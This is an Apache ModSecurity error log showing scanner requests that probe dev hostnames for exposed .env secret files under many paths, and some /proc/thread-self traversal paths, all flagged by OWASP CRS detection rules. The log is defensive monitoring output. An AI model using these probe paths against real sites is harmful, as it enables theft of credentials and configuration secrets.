[Fri Jul 17 09:14:17.849641 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/v1/.env"] [unique_id "almlERHlOGcokz2QIwTWUgAAAAM"]
[Fri Jul 17 09:14:17.850049 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlERHlOGcokz2QIwTWUgAAAAM"]
[Fri Jul 17 09:14:17.850514 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/kernel/slab/bio-160/total_objects
[Fri Jul 17 09:14:17.999792 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlESRF0UOO1RzB5_8xOAAAAA4"]
[Fri Jul 17 09:14:18.017608 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/v2/.env"] [unique_id "almlEg5GPQ6hs4VrfMpE5QAAAAY"]
[Fri Jul 17 09:14:18.017870 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/v2/.env"] [unique_id "almlEg5GPQ6hs4VrfMpE5QAAAAY"]
[Fri Jul 17 09:14:18.018143 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlEg5GPQ6hs4VrfMpE5QAAAAY"]
[Fri Jul 17 09:14:18.172659 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.preprod"] [unique_id "almlElh1WDijTxd1xw5PaAAAAAc"]
[Fri Jul 17 09:14:18.173867 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.preprod"] [unique_id "almlElh1WDijTxd1xw5PaAAAAAc"]
[Fri Jul 17 09:14:18.187769 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v3/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/v3/.env"] [unique_id "almlEkgVnBK6wAv37w6vpgAAABQ"]
[Fri Jul 17 09:14:18.188059 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/v3/.env"] [unique_id "almlEkgVnBK6wAv37w6vpgAAABQ"]
[Fri Jul 17 09:14:18.188360 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlEkgVnBK6wAv37w6vpgAAABQ"]
[Fri Jul 17 09:14:18.258814 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:18.355964 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/api/v1/.env"] [unique_id "almlEg7FYe46zHK_jL3S9wAAABk"]
[Fri Jul 17 09:14:18.356299 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/api/v1/.env"] [unique_id "almlEg7FYe46zHK_jL3S9wAAABk"]
[Fri Jul 17 09:14:18.356612 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlEg7FYe46zHK_jL3S9wAAABk"]
[Fri Jul 17 09:14:18.425285 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlElh1WDijTxd1xw5PaAAAAAc"]
[Fri Jul 17 09:14:18.524663 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/api/v2/.env"] [unique_id "almlErEWOaI5pmYo9fnRyAAAAAA"]
[Fri Jul 17 09:14:18.524954 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/api/v2/.env"] [unique_id "almlErEWOaI5pmYo9fnRyAAAAAA"]
[Fri Jul 17 09:14:18.525238 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlErEWOaI5pmYo9fnRyAAAAAA"]
[Fri Jul 17 09:14:18.599056 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.uat"] [unique_id "almlEiRF0UOO1RzB5_8xOQAAAA4"]
[Fri Jul 17 09:14:18.601185 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.uat"] [unique_id "almlEiRF0UOO1RzB5_8xOQAAAA4"]
[Fri Jul 17 09:14:18.698241 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /rest/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/rest/.env"] [unique_id "almlEoe39YUk0SgV8AU9MAAAABE"]
[Fri Jul 17 09:14:18.698779 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/rest/.env"] [unique_id "almlEoe39YUk0SgV8AU9MAAAABE"]
[Fri Jul 17 09:14:18.699530 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlEoe39YUk0SgV8AU9MAAAABE"]
[Fri Jul 17 09:14:18.848274 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlEiRF0UOO1RzB5_8xOQAAAA4"]
[Fri Jul 17 09:14:18.868765 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /graphql/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/graphql/.env"] [unique_id "almlEkgVnBK6wAv37w6vpwAAABQ"]
[Fri Jul 17 09:14:18.869021 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/graphql/.env"] [unique_id "almlEkgVnBK6wAv37w6vpwAAABQ"]
[Fri Jul 17 09:14:18.869336 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlEkgVnBK6wAv37w6vpwAAABQ"]
[Fri Jul 17 09:14:19.041588 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.dist"] [unique_id "almlExHlOGcokz2QIwTWVAAAAAM"]
[Fri Jul 17 09:14:19.042791 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.dist"] [unique_id "almlExHlOGcokz2QIwTWVAAAAAM"]
[Fri Jul 17 09:14:19.075161 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /gateway/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/gateway/.env"] [unique_id "almlE4l9vhFBGA6D8l99HAAAAAw"]
[Fri Jul 17 09:14:19.075510 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/gateway/.env"] [unique_id "almlE4l9vhFBGA6D8l99HAAAAAw"]
[Fri Jul 17 09:14:19.075905 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlE4l9vhFBGA6D8l99HAAAAAw"]
[Fri Jul 17 09:14:19.143606 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:19.250366 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /microservice/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/microservice/.env"] [unique_id "almlE_wooI4qY7Jg93pYkgAAABM"]
[Fri Jul 17 09:14:19.250724 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/microservice/.env"] [unique_id "almlE_wooI4qY7Jg93pYkgAAABM"]
[Fri Jul 17 09:14:19.251101 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlE_wooI4qY7Jg93pYkgAAABM"]
[Fri Jul 17 09:14:19.311510 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlExHlOGcokz2QIwTWVAAAAAM"]
[Fri Jul 17 09:14:19.337723 2026] [security2:error] [pid 2039911:tid 2039911] [client 57.141.18.74:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory52/subsystem/devices/memory53/node0/memory73/subsystem/devices/memory43/"] [unique_id "almlE5BVIrrUwtEhdafUAQAAAAU"]
[Fri Jul 17 09:14:19.337773 2026] [security2:error] [pid 2039911:tid 2039911] [client 57.141.18.74:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory52/subsystem/devices/memory53/node0/memory73/subsystem/devices/memory43/"] [unique_id "almlE5BVIrrUwtEhdafUAQAAAAU"]
[Fri Jul 17 09:14:19.419485 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /service/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/service/.env"] [unique_id "almlE7EKozcCJ-ReuK0F6AAAAAg"]
[Fri Jul 17 09:14:19.419793 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/service/.env"] [unique_id "almlE7EKozcCJ-ReuK0F6AAAAAg"]
